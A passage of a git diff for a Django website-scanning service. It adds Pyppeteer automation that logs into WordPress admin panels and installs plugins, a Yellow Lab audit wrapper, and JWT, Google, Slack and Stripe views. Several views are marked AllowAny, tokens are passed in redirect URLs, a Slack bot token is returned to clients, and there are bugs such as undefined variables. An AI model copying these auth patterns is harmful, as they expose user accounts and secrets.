print('unable to locate login form at this path') + await self.driver.close() + return False + + + except: + print('unable to locate login form at this path') + await self.driver.close() + return False + + user_name_elem = await self.page.xpath('//*[@id="user_login"]') + await user_name_elem[0].click(clickCount=3) + await self.page.keyboard.type(self.username) + time.sleep(1) + passworword_elem = await self.page.xpath('//*[@id="user_pass"]') + await passworword_elem[0].click(clickCount=3) + await self.page.keyboard.type(self.password) + time.sleep(1) + await self.page.keyboard.press('Enter') + await self.page.waitForNavigation(self.navWaitOpt) + + + try: + try: + verify_email = await self.page.xpath('//*[@id="correct-admin-email"]') + print('need to verify email') + await verify_email[0].click() + print('clicked verify') + except: + pass + + print('done with login attempt') + + try: + await self.page.xpath('//*[@id="login_error"]') + print('found login error') + await self.page.reload() + + print('trying login again') + user_name_elem = await self.page.xpath('//*[@id="user_login"]') + await user_name_elem[0].click(clickCount=3) + await self.page.keyboard.type(self.username) + time.sleep(1) + passworword_elem = await self.page.xpath('//*[@id="user_pass"]') + await passworword_elem[0].click(clickCount=3) + await self.page.keyboard.type(self.password) + time.sleep(1) + await self.page.keyboard.press('Enter') + await self.page.waitForNavigation(self.navWaitOpt) + + + try: + await self.page.xpath('//*[@id="login_error"]') + print('found login error again') + print('counld not login to this site') + except: + print('no login errors') + + except: + print('no login errors') + + except: + print('counld not login to this site') + + await self.driver.close() + return False + + + # removing alerts + try: + deny_btn = await self.page.xpath('//*[@id="webpushr-deny-button"]') + await deny_btn[0].click() + print('removed alert') + except: + pass + try: + # checking if url location is wp-admin + admin_link = '/wp-admin/' + current_url = self.page.url + print('current url -> ' + current_url) + if current_url.endswith("/wp-admin") or current_url.endswith("/wp-admin/") or admin_link in current_url: + print('inside wp-admin') + else: + print('not in wp-admin - navigating there now') + admin_btn = await self.page.xpath('//*[@id="wp-admin-bar-dashboard"]') + admin_link = await admin_btn[0].querySelector('a') + await admin_link[0].click(clickCount=2) + print('clicked dashboard link') + await self.page.waitForNavigation(self.navWaitOpt) + + + except: + print('could not login') + await self.driver.close() + return False + + + return True + + + + + + async def begin_lang_check(self): + + try: + # navigate to settings + s_url = 'options-general.php' + try: + settings_menu = await self.page.xpath('//*[@id="menu-settings"]') + await settings_menu[0].click() + print('clicked settings menu') + await self.page.waitForNavigation(self.navWaitOpt) + settings = await self.page.xpath('.//a[@href="'+s_url+'"]') + await settings[0].click() + print('clicked settings tab') + await self.page.waitForNavigation(self.navWaitOpt) + + + except: + await self.page.goto(self.page.url + s_url) + await self.page.waitForNavigation(self.navWaitOpt) + + # finding and recording current native language + lang_selector = await self.page.xpath('//*[@id="WPLANG"]') + optgroup = await lang_selector[0].querySelector('optgroup') + selected_lang = await optgroup.xpath('.//option[@selected="selected"]') + default_lang = await (await selected_lang[0].getProperty('lang')).jsonValue() + default_lang_value = await (await selected_lang[0].getProperty('value')).jsonValue() + print("defalut lang value is " + str(default_lang)) + + if default_lang != 'en': + + # selecting english + await lang_selector[0].select('en_CA') + print('selected english') + + # saving settings + save_btn = await self.page.xpath('//*[@id="submit"]') + await save_btn[0].click() + print('saved lang to english') + + self.native_lang = default_lang_value + return True + + else: + self.native_lang = 'en' + + + except: + print('error in changing language') + return False + + + + + + + async def end_lang_check(self): + + if self.native_lang != 'en': + + try: + # navigate to settings + s_url = 'options-general.php' + try: + settings_menu = await self.page.xpath('//*[@id="menu-settings"]') + await settings_menu[0].click() + print('clicked settings menu') + await self.page.waitForNavigation(self.navWaitOpt) + settings = await self.page.xpath('.//a[@href="'+s_url+'"]') + await settings[0].click() + print('clicked settings tab') + await self.page.waitForNavigation(self.navWaitOpt) + + except: + await self.page.goto(self.page.url + s_url) + await self.page.waitForNavigation(self.navWaitOpt) + + # selecting native lang + lang_selector = await self.page.xpath('//*[@id="WPLANG"]') + await lang_selector[0].select(self.native_lang) + print('selected native_lang') + + # saving settings + save_btn = await self.page.xpath('//*[@id="submit"]') + await save_btn[0].click() + print('saved native lang') + + except: + await self.driver.close() + return False + + await self.driver.close() + return True + + + + async def install_plugin(self, plugin_name): + + # setting url for link naving + plugin_menu_page = 'plugins.php' + add_plugin_page = 'plugin-install.php' + + # navigating to plugin page + try: + print('trying click method') + plugin_menu = await self.page.xpath('//*[@id="menu-plugins"]') + await plugin_menu[0].click() + await self.page.waitForNavigation(self.navWaitOpt) + p_url = 'plugins.php' + plugins = await self.page.xpath('.//a[@href="'+p_url+'"]') + await plugins[0].click() + print('clicked plugin menu') + await self.page.waitForNavigation(self.navWaitOpt) + + + # looking for dependencies in plugin table + time.sleep(10) + form = await self.page.xpath('//*[@id="bulk-action-form"]') + pluginTable = await form[0].querySelector('tbody') + tableText = await (await pluginTable.getProperty('textContent')).jsonValue() + + except: + print('trying link method for navigation') + try: + await self.page.goto(self.admin_link + plugin_menu_page) + await self.page.waitForNavigation(self.navWaitOpt) + + time.sleep(10) + # looking for dependencies in plugin table + form = await self.page.xpath('//*[@id="bulk-action-form"]') + pluginTable = await form[0].querySelector('tbody') + tableText = await (await pluginTable.getProperty('textContent')).jsonValue() + except: + print('unable to find plugin table') + await self.driver.close() + return False + + if plugin_name not in tableText: + try: + print('plugin not present, preparing to install') + + time.sleep(2) + print('navigating to add plugins page') + + try: + url = 'plugin-install.php' + add_plugin = await self.page.xpath('//a[@href="'+url+'"]') + await add_plugin[0].click(clickCount=2) + print('clicked add plugin link') + await self.page.waitForNavigation(self.navWaitOpt) + + time.sleep(5) + except: + await self.page.goto(self.admin_url + add_plugin_page) + await self.page.waitForNavigation(self.navWaitOpt) + + time.sleep(5) + + + # searching for plugin + search_form = await self.page.xpath('//input[@type="search"]') + await search_form[0].click(clickCount=3) + await self.page.keyboard.type(plugin_name) + time.sleep(1) + await self.page.keyboard.press('Enter') + time.sleep(3) + + ##### Clicking "install" plugin ###### + install = await self.page.xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly + await install[0].click(clickCount=2) + print('clicked -install plugin-') + time.sleep(30) + + + #### Clicking "activate" plugin ###### + await self.page.reload() + print('reloading page') + try: + await self.page.waitForNavigation(self.navWaitOpt) + except: + pass + activate = await self.page.xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly + await activate[0].click(clickCount=2) + print('clicked -Activate plugin-') + time.sleep(30) + print('Dependencies installed sucessfully') + return True + + except: + print('failed dependency installation') + await self.driver.close() + return False + + + + async def run_full(self, plugin_name): + data = await self.login() + data = await self.begin_lang_check() + data = await self.install_plugin(plugin_name) + data = await self.end_lang_check() + await self.driver.close() + return data + diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py new file mode 100644 index 00000000..f1857e1c --- /dev/null +++ b/app/api/utils/yellowlab.py @@ -0,0 +1,135 @@ +import subprocess, json +from ..models import Site, Scan + + + +class Yellowlab(): + + """Initializes Yellow Lab Tools CLI and runs an audit of the site""" + + + def __init__(self, site=None, configs=None): + self.site = site + self.configs = configs + + + def init_audit(self): + proc = subprocess.Popen([ + 'yellowlabtools', + self.site.site_url, + f'--device={self.configs["device"]}' + ], + stdout=subprocess.PIPE, + user='app', + ) + stdout_value = proc.communicate()[0] + return stdout_value + + + def get_data(self): + try: + stdout_value = self.init_audit() + stdout_string = str(stdout_value) + + if len(stdout_string) != 0: + if 'Runtime error encountered' in stdout_string: + error = {'error': 'yellowlab ran into a problem',} + return error + + stdout_json = json.loads(stdout_value) + + # initial audits object + audits = { + "pageWeight": [], + "requests": [], + "domComplexity": [], + "javascriptComplexity": [], + "badJavascript": [], + "jQuery": [], + "cssComplexity": [], + "badCSS": [], + "fonts": [], + "serverConfig": [], + } + + # iterating through categories to get relevant yl_audits and store them in their respective `audits = {}` obj + for cat in audits: + cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"] + for a in cat_audits: + try: + audit = stdout_json["rules"][a] + audits[cat].append(audit) + except: + pass + + + # get scores from each category + globalScore = stdout_json["scoreProfiles"]["generic"]["globalScore"] + pageWeight_score = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"] + requests_score = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"] + domComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"] + javascriptComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"] + badJavascript_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"] + jQuery_score = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"] + cssComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"] + badCSS_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"] + fonts_score = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"] + serverConfig_score = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"] + + scores = { + "globalScore": globalScore, + "pageWeight": pageWeight_score, + "requests": requests_score, + "domComplexity": domComplexity_score, + "javascriptComplexity": javascriptComplexity_score, + "badJavascript": badJavascript_score, + "jQuery": jQuery_score, + "cssComplexity": cssComplexity_score, + "badCSS": badCSS_score, + "fonts": fonts_score, + "serverConfig": serverConfig_score, + } + + data = { + "scores": scores, + "audits": audits + } + + except Exception as e: + print(e) + + scores = { + "globalScore": None, + "pageWeight": None, + "requests": None, + "domComplexity": None, + "javascriptComplexity": None, + "badJavascript": None, + "jQuery": None, + "cssComplexity": None, + "badCSS": None, + "fonts": None, + "serverConfig": None, + } + + audits = { + "pageWeight": [], + "requests": [], + "domComplexity": [], + "javascriptComplexity": [], + "badJavascript": [], + "jQuery": [], + "cssComplexity": [], + "badCSS": [], + "fonts": [], + "serverConfig": [], + } + + data = { + "scores": scores, + "audits": audits + } + + return data + + diff --git a/app/api/v1/__init__.py b/app/api/v1/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/app/api/v1/auth/__init__.py b/app/api/v1/auth/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/app/api/v1/auth/alerts.py b/app/api/v1/auth/alerts.py new file mode 100644 index 00000000..7b7aedeb --- /dev/null +++ b/app/api/v1/auth/alerts.py @@ -0,0 +1,57 @@ +from django.core.mail import send_mail, send_mass_mail +from django.contrib.auth.models import User +from django.template.loader import render_to_string +from datetime import date +import os, operator +from django.utils.html import strip_tags +from django.contrib.auth.models import User +from rest_framework_simplejwt.tokens import RefreshToken +from rest_framework.response import Response + + + + +def send_reset_link(email): + if User.objects.filter(email=email).exists(): + user = User.objects.get(email=email) + token = RefreshToken.for_user(user) + access_token = str(token.access_token) + reset_link = str(os.environ.get('CLIENT_URL_ROOT') + '/reset-password?token='+access_token) + subject = 'Rest Password' + title = 'Reset Password' + pre_header = 'Reset Password' + pre_content = 'Click the link below to reset your password.' + + subject = subject + context = { + 'title' : title, + 'pre_header' : pre_header, + 'pre_content' : pre_content, + 'object_url' : reset_link, + 'home_page' : os.environ.get('CLIENT_URL_ROOT'), + 'button_text' : 'Rest my password', + 'content' : '', + 'signature' : '- Cheers!', + } + + html_message = render_to_string('api/reset_password_email.html', context) + plain_message = strip_tags(html_message) + send_mail( + from_email = os.getenv('EMAIL_HOST_USER'), + subject = subject, + message = plain_message, + recipient_list = [email], + html_message = html_message, + fail_silently = True, + ) + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data \ No newline at end of file diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py new file mode 100644 index 00000000..eb18b05c --- /dev/null +++ b/app/api/v1/auth/serializers.py @@ -0,0 +1,73 @@ +from rest_framework_simplejwt.serializers import TokenObtainPairSerializer +from rest_framework.authtoken.models import Token +from rest_framework_simplejwt.settings import api_settings +from django.contrib.auth.models import update_last_login +from django.core.exceptions import ObjectDoesNotExist +from django.contrib.auth.models import User +from django.shortcuts import render +from ...models import (Test, Site, Scan, Account) +from django.urls import path, include +from rest_framework import routers, serializers, viewsets +from rest_framework.fields import UUIDField + +kwargs = { + 'allow_null': False, + 'read_only': True, + 'pk_field': UUIDField(format='hex_verbose') + } + + + +class UserSerializer(serializers.HyperlinkedModelSerializer): + class Meta: + model = User + fields = ['id', 'username', 'email', 'password', 'is_active', 'date_joined', 'last_login'] + + + +class LoginSerializer(TokenObtainPairSerializer): + + def validate(self, attrs): + data = super().validate(attrs) + + refresh = self.get_token(self.user) + api_token = Token.objects.get(user=self.user) + + data['user'] = UserSerializer(self.user).data + data['refresh'] = str(refresh) + data['access'] = str(refresh.access_token) + data['api_token'] = api_token.key + + if api_settings.UPDATE_LAST_LOGIN: + update_last_login(None, self.user) + + return data + + +class RegisterSerializer(UserSerializer): + password = serializers.CharField(max_length=128, min_length=8, write_only=True, required=True) + email = serializers.EmailField(required=True, write_only=True, max_length=128) + + class Meta: + model = User + fields = ['id', 'username', 'email', 'password', 'is_active', 'date_joined', 'last_login'] + + def create(self, validated_data): + try: + user = User.objects.get(email=validated_data['email']) + except ObjectDoesNotExist: + user = User.objects.create_user(**validated_data) + return user + + + +class AccountSerializer(serializers.HyperlinkedModelSerializer): + user = serializers.ReadOnlyField(source='user.username') + id = serializers.PrimaryKeyRelatedField(**kwargs) + + class Meta: + model = Account + fields = ['id', 'active', 'time_created', 'type', + 'cust_id', 'sub_id', 'product_id', 'price_id', 'slack', + 'user', + ] \ No newline at end of file diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py new file mode 100644 index 00000000..2aa5ee20 --- /dev/null +++ b/app/api/v1/auth/services.py @@ -0,0 +1,236 @@ +import requests, os +from typing import Dict, Any +from scanerr import settings +from django.http import HttpResponse +from django.db import transaction +from rest_framework import status, serializers +from rest_framework_simplejwt.tokens import RefreshToken +from django.core.exceptions import ValidationError +from django.forms.models import model_to_dict +from django.contrib.auth.models import User +from rest_framework.authtoken.models import Token +from ...models import Account, Card +from slack_sdk.oauth import AuthorizeUrlGenerator +from slack_sdk.oauth.installation_store import FileInstallationStore, Installation +from slack_sdk.oauth.state_store import FileOAuthStateStore +from slack_sdk.web import WebClient +from .serializers import AccountSerializer +from rest_framework.response import Response +from django.contrib.auth.middleware import get_user + + +GOOGLE_ID_TOKEN_INFO_URL = 'https://www.googleapis.com/oauth2/v3/tokeninfo' +GOOGLE_ACCESS_TOKEN_OBTAIN_URL = 'https://oauth2.googleapis.com/token' +GOOGLE_USER_INFO_URL = 'https://www.googleapis.com/oauth2/v3/userinfo' + + +def jwt_login(*, user: User): + refresh = RefreshToken.for_user(user) + access = str(refresh.access_token) + refresh = str(refresh) + + if Token.objects.filter(user=user).exists(): + api_token = Token.objects.get(user=user) + else: + api_token = Token.objects.create(user=user) + + if user.is_active == True: + is_active = 'true' + else: + is_acive = 'false' + + param_string = str( + '?access='+access+'&refresh='+refresh+ + '&username='+user.username+'&id='+str(user.id)+ + '&email='+user.email+'&is_active='+is_active+ + '&created='+str(user.date_joined)+'&updated='+str(user.last_login)+ + '&api_token='+str(api_token.key) + ) + + lead_string = str(settings.CLIENT_URL_ROOT+'/google-confirm') + + redirect_url = lead_string + param_string + + return redirect_url + + + + +def user_create(email, password=None, **extra_fields) -> User: + extra_fields = { + 'is_staff': False, + 'is_superuser': False, + **extra_fields + } + + user = User.objects.create( + username=email, + email=email, + **extra_fields + ) + + # creating API token + Token.objects.create(user=user) + + user.set_unusable_password() + user.full_clean() + user.save() + + return user + + + +def create_user_token(request): + # creating New API token + if Token.objects.filter(user=request.user).exists(): + old_token = Token.objects.get(user=request.user) + old_token.delete() + + api_token = Token.objects.create(user=request.user) + data = {'api_token': api_token.key,} + return Response(data, status=status.HTTP_200_OK) + + + + +def user_get_or_create(*, email: str, **extra_data): + user = User.objects.filter(email=email).first() + + if user: + return user + + return user_create(email=email, **extra_data) + + + + +def google_validate_id_token(*, id_token: str): + # Reference: https://developers.google.com/identity/sign-in/web/backend-auth#verify-the-integrity-of-the-id-token + response = requests.get( + GOOGLE_ID_TOKEN_INFO_URL, + params={'id_token': id_token} + ) + + if not response.ok: + raise ValidationError('id_token is invalid.') + + audience = response.json()['aud'] + + if audience != settings.GOOGLE_OAUTH2_CLIENT_ID: + raise ValidationError('Invalid audience.') + + return True + + + + +def google_get_access_token(*, code: str, redirect_uri: str) -> str: + # Reference: https://developers.google.com/identity/protocols/oauth2/web-server#obtainingaccesstokens + data = { + 'code': code, + 'client_id': settings.GOOGLE_OAUTH2_CLIENT_ID, + 'client_secret': settings.GOOGLE_OAUTH2_CLIENT_SECRET, + 'redirect_uri': redirect_uri, + 'grant_type': 'authorization_code' + } + + response = requests.post(GOOGLE_ACCESS_TOKEN_OBTAIN_URL, data=data) + + if not response.ok: + raise ValidationError('Failed to obtain access token from Google.') + + access_token = response.json()['access_token'] + + return access_token + + + + +def google_get_user_info(*, access_token: str) -> Dict[str, Any]: + # Reference: https://developers.google.com/identity/protocols/oauth2/web-server#callinganapi + response = requests.get( + GOOGLE_USER_INFO_URL, + params={'access_token': access_token} + ) + + if not response.ok: + raise ValidationError('Failed to obtain user info from Google.') + + return response.json() + + + + +def slack_oauth_middleware(request, user): + code = request.GET['code'] + account = Account.objects.get(user=user) + + client = WebClient() + + response = client.oauth_v2_access( + client_id=os.environ.get('SLACK_CLIENT_ID'), + client_secret=os.environ.get('SLACK_CLIENT_SECRET'), + code=code + ) + + # Updating account with slack info + account.slack['slack_name'] = response['team']['name'] + account.slack['slack_team_id'] = response['team']['id'] + account.slack['bot_user_id'] = response['bot_user_id'] + account.slack['bot_access_token'] = response['access_token'] + account.slack['slack_channel_id'] = response['incoming_webhook']['channel_id'] + account.slack['slack_channel_name'] = response['incoming_webhook']['channel'] + account.save() + + serializer_context = {'request': request,} + serialized = AccountSerializer(account, context=serializer_context) + data = serialized.data + response = Response(data, status=status.HTTP_200_OK) + return response + + + + +def slack_oauth_init(request, user): + if Account.objects.filter(user=user).exists(): + account = Account.objects.get(user=user) + if not account.slack['slack_channel_name']: + # Issue and consume state parameter value on the server-side. + state_store = FileOAuthStateStore(expiration_seconds=300, base_dir="./data") + # Persist installation data and lookup it by IDs. + installation_store = FileInstallationStore(base_dir="./data") + + # Build https://slack.com/oauth/v2/authorize with sufficient query parameters + authorize_url_generator = AuthorizeUrlGenerator( + client_id=os.environ.get('SLACK_CLIENT_ID'), + scopes=["incoming-webhook", "chat:write"], + ) + + # Generate a random value and store it on the server-side + state = state_store.issue() + # https://slack.com/oauth/v2/authorize?state=(generated value)&client_id={client_id}&scope=app_mentions:read,chat:write&user_scope=search:read + url = authorize_url_generator.generate(state) + data = { + 'url': url, + } + return Response(data, status=status.HTTP_200_OK) + + else: + data = { + 'reason': 'slack already integrated', + } + return Response(data, status=status.HTTP_409_CONFLICT) + + else: + data = { + 'reason': 'account not yet setup', + } + return Response(data, status=status.HTTP_404_NOT_FOUND) + + + + +def account_setup(request): + account = Account.objects.create(user=user) + card = Card.objects.create(user=user, account=account) + return True \ No newline at end of file diff --git a/app/api/v1/auth/urls.py b/app/api/v1/auth/urls.py new file mode 100644 index 00000000..caca78d6 --- /dev/null +++ b/app/api/v1/auth/urls.py @@ -0,0 +1,29 @@ +from django.urls import path, include +from . import views as views +from rest_framework.authtoken.views import obtain_auth_token +from rest_framework import ( + routers, serializers, viewsets, +) + + +router = routers.DefaultRouter() + + +# auth routes +router.register(r'login', views.LoginViewSet, basename='auth_login') +router.register(r'register', views.RegistrationViewSet, basename='auth_register') +router.register(r'refresh', views.RefreshViewSet, basename='auth_refresh') + + +urlpatterns = [ + path('', include(router.urls)), + path('api-auth', include('rest_framework.urls', namespace='rest_framework')), + path('api-token-auth', obtain_auth_token, name='api_token_auth'), + path('google', views.GoogleLoginApi.as_view(), name='auth_google'), + path('get-reset-link', views.GetResetLink.as_view(), name='auth_get_reset_link'), + path('reset-password', views.ResetPassword.as_view(), name='auth_reset_password'), + path('update-user', views.UpdateUser.as_view(), name='update_user'), + path('slack', views.SlackOauth.as_view(), name='auth_slack'), + path('token', views.ApiToken.as_view(), name='token'), + +] \ No newline at end of file diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py new file mode 100644 index 00000000..adb6b25f --- /dev/null +++ b/app/api/v1/auth/views.py @@ -0,0 +1,212 @@ +from rest_framework.response import Response +from django.contrib.auth.password_validation import validate_password +from rest_framework_simplejwt.views import TokenObtainPairView +from rest_framework_simplejwt.views import TokenRefreshView +from rest_framework.viewsets import ModelViewSet, ViewSet +from rest_framework.permissions import AllowAny +from rest_framework.views import APIView +from rest_framework import status, serializers +from rest_framework_simplejwt.tokens import RefreshToken, AccessToken +from rest_framework_simplejwt.models import TokenUser +from rest_framework.authtoken.models import Token +from rest_framework_simplejwt.exceptions import TokenError, InvalidToken +from .serializers import LoginSerializer, RegisterSerializer, UserSerializer +from scanerr import settings +from django.shortcuts import redirect +from django.contrib.auth.models import User +from .alerts import send_reset_link +from ...models import Account +from datetime import timedelta, datetime +from .services import ( + google_get_access_token, google_get_user_info, + user_get_or_create, jwt_login, slack_oauth_middleware, + slack_oauth_init, create_user_token +) +import os, stripe, json + + +class LoginViewSet(ModelViewSet, TokenObtainPairView): + serializer_class = LoginSerializer + permission_classes = (AllowAny,) + http_method_names = ['post'] + + def create(self, request, *args, **kwargs): + + serializer = self.get_serializer(data=request.data) + + try: + serializer.is_valid(raise_exception=True) + except TokenError as e: + raise InvalidToken(e.args[0]) + + return Response(serializer.validated_data, status=status.HTTP_200_OK) + + +class RegistrationViewSet(ModelViewSet, TokenObtainPairView): + serializer_class = RegisterSerializer + permission_classes = (AllowAny,) + http_method_names = ['post'] + + def create(self, request, *args, **kwargs): + serializer = self.get_serializer(data=request.data) + + serializer.is_valid(raise_exception=True) + user = serializer.save() + refresh = RefreshToken.for_user(user) + # creating API token + api_token = Token.objects.create(user=user) + res = { + "refresh": str(refresh), + "access": str(refresh.access_token), + } + + return Response({ + "user": serializer.data, + "refresh": res["refresh"], + "token": res["access"], + "api_token": api_token.key, + }, status=status.HTTP_201_CREATED) + + + +class ApiToken(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get'] + + def get(self, request): + response = create_user_token(request) + return response + + + +class RefreshViewSet(ViewSet, TokenRefreshView): + permission_classes = (AllowAny,) + http_method_names = ['post'] + + def create(self, request, *args, **kwargs): + serializer = self.get_serializer(data=request.data) + + try: + serializer.is_valid(raise_exception=True) + except TokenError as e: + raise InvalidToken(e.args[0]) + + return Response(serializer.validated_data, status=status.HTTP_200_OK) + + + +class GetResetLink(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + authentication_classes = [] + + def post(self, request): + email = request.data['email'] + response = send_reset_link(email) + + if response['success'] == True: + return Response(status=status.HTTP_200_OK) + else: + return Response(status=status.HTTP_404_NOT_FOUND) + + + +class ResetPassword(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + password = request.data['password'] + user = request.user + try: + if validate_password(password, user=user) == None: + user.set_password(password) + user.save() + return Response(status=status.HTTP_200_OK) + except: + return Response(status=status.HTTP_417_EXPECTATION_FAILED) + + + + + +class UpdateUser(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + email = request.data['email'] + user = request.user + try: + if User.objects.filter(email=email).exists(): + return Response(status=status.HTTP_417_EXPECTATION_FAILED) + user.username = email + user.email = email + user.save() + data = UserSerializer(user).data + return Response(data, status=status.HTTP_200_OK) + except: + return Response(status=status.HTTP_417_EXPECTATION_FAILED) + + + + +class GoogleLoginApi(APIView): + authentication_classes = [] + permission_classes = (AllowAny,) + class InputSerializer(serializers.Serializer): + code = serializers.CharField(required=False) + error = serializers.CharField(required=False) + + def get(self, request, *args, **kwargs): + input_serializer = self.InputSerializer(data=request.GET) + input_serializer.is_valid(raise_exception=True) + + validated_data = input_serializer.validated_data + + code = validated_data.get('code') + error = validated_data.get('error') + + login_url = f'{settings.CLIENT_URL_ROOT}/login' + + if error or not code: + params = urlencode({'error': error}) + return redirect(f'{login_url}?{params}') + + domain = settings.API_URL_ROOT + api_uri = '/v1/auth/google' + redirect_uri = f'{domain}{api_uri}' + + access_token = google_get_access_token(code=code, redirect_uri=redirect_uri) + + user_data = google_get_user_info(access_token=access_token) + + profile_data = { + 'email': user_data['email'], + 'first_name': user_data.get('given_name', ''), + 'last_name': user_data.get('family_name', ''), + } + + + user = user_get_or_create(**profile_data) + confirm_url = jwt_login(user=user) + + return redirect(confirm_url) + + + +class SlackOauth(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get', 'post'] + + def post(self, request, *args, **kwargs): + user = request.user + response = slack_oauth_init(request, user) + return response + + def get(self, request, *args, **kwargs): + user = request.user + response = slack_oauth_middleware(request, user) + return response + + \ No newline at end of file diff --git a/app/api/v1/billing/__init__.py b/app/api/v1/billing/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/app/api/v1/billing/urls.py b/app/api/v1/billing/urls.py new file mode 100644 index 00000000..c39951f6 --- /dev/null +++ b/app/api/v1/billing/urls.py @@ -0,0 +1,18 @@ +from django.urls import path +from . import views as views + + + + +urlpatterns = [ + path('create-customer', views.CreateCustomer.as_view(), name='create_customer'), + path('create-product', views.CreateProduct.as_view(), name='create_product'), + path('create-price', views.CreatePrice.as_view(), name='create_price'), + path('create-subscription', views.CreateSubscription.as_view(), name='create_subscription'), + path('setup-subscription', views.SetupSubscription.as_view(), name='setup_subscription'), + path('complete-subscription', views.CompleteSubscription.as_view(), name='complete_subscription'), + path('stripe-key', views.StripeKey.as_view(), name='stripe_key'), + path('get-info', views.GetBillingInfo.as_view(), name='get_billing_info'), + path('account-activation', views.AccountActivation.as_view(), name='account_activation') + +] diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py new file mode 100644 index 00000000..83c8cfe1 --- /dev/null +++ b/app/api/v1/billing/views.py @@ -0,0 +1,386 @@ +from rest_framework.response import Response +from rest_framework.permissions import AllowAny +from rest_framework.views import APIView +from rest_framework import status +from django.contrib.auth.models import User +from django.core import serializers +from django.forms.models import model_to_dict +from ...models import Account, Card +from datetime import timedelta, datetime +import os, stripe, json + + + + +class StripeKey(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + key = os.environ.get('STRIPE_PUBLIC_TEST') + data = {'key': key,} + return Response(data, status=status.HTTP_200_OK) + + + + +class CreateCustomer(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + stripe.api_key = os.environ.get('STRIPE_PRIVATE_TEST') + customer = stripe.Customer.create(email=request.user.email) + + account = Account.objects.create( + user=request.user, + cust_id=customer.id + ) + + data = customer.__dict__ + + return Response(data, status=status.HTTP_200_OK) + + + +class CreateProduct(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + name = request.data['name'] + stripe.api_key = os.environ.get('STRIPE_PRIVATE_TEST') + product = stripe.Product.create(name=name) + + account = Account.objects.get(user=request.user) + account.product_id = product.id + account.save() + + data = product.__dict__ + + return Response(data, status=status.HTTP_200_OK) + + + +class CreatePrice(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + account = Account.objects.get(user=request.user) + price_amount = float(request.data['price_amount']) + stripe.api_key = os.environ.get('STRIPE_PRIVATE_TEST') + price = stripe.Price.create( + product=account.product_id, + unit_amount=price_amount, + currency='usd', + recurring={ + 'interval': 'month', + 'trial_period_days': 7, + }, + ) + + account.price_id = price.id + account.save() + + data = price.__dict__ + + return Response(data, status=status.HTTP_200_OK) + + + +class CreateSubscription(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + stripe.api_key = os.environ.get('STRIPE_PRIVATE_TEST') + account = Account.objects.get(user=request.user) + subscription = stripe.Subscription.create( + customer=account.cust_id, + items=[{ + 'price': account.price_id, + }], + payment_behavior='default_incomplete', + expand=['latest_invoice.payment_intent'], + ) + + account.sub_id = subscription.id + account.save() + data = { + 'subscription_id' : subscription.id, + 'client_secret' : subscription.latest_invoice.payment_intent.client_secret + } + + return Response(data, status=status.HTTP_200_OK) + + + +class CompleteSubscription(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + stripe.api_key = os.environ.get('STRIPE_PRIVATE_TEST') + account = Account.objects.get(user=request.user) + pay_method_id = request.data['payment_method'] + if Card.objects.filter(account=account).exists(): + pay_method = stripe.PaymentMethod.retrieve(pay_method_id) + + stripe.PaymentMethod.attach( + pay_method_id, + customer=account.cust_id, + ) + + stripe.Customer.modify( + account.cust_id, + invoice_settings={ + 'default_payment_method': pay_method.id, + } + ) + + stripe.Subscription.modify( + account.sub_id, + default_payment_method=pay_method.id + ) + + Card.objects.filter(account=account).update( + user = request.user, + account = account, + pay_method_id = pay_method.id, + brand = pay_method.card.brand, + exp_year = pay_method.card.exp_year, + exp_month = pay_method.card.exp_month, + last_four = pay_method.card.last4 + ) + + else: + pay_method = stripe.PaymentMethod.retrieve(pay_method_id) + + stripe.Subscription.modify( + account.sub_id, + default_payment_method=pay_method.id + ) + + Card.objects.create( + user = request.user, + account = account, + pay_method_id = pay_method.id, + brand = pay_method.card.brand, + exp_year = pay_method.card.exp_year, + exp_month = pay_method.card.exp_month, + last_four = pay_method.card.last4 + + ) + + + card = Card.objects.get(account=account) + account.active = True + account.save() + + data = { + 'card': { + 'brand': card.brand, + 'exp_year': card.exp_year, + 'exp_month': card.exp_month, + 'last_four': card.last_four, + }, + 'plan': { + 'name': account.type, + 'active': account.active, + 'slack': { + 'slack_name': account.slack['slack_name'], + 'bot_user_id': account.slack['bot_user_id'], + 'slack_team_id': account.slack['slack_team_id'], + 'bot_access_token': account.slack['bot_access_token'], + 'slack_channel_id': account.slack['slack_channel_id'], + 'slack_channel_name': account.slack['slack_channel_name'], + 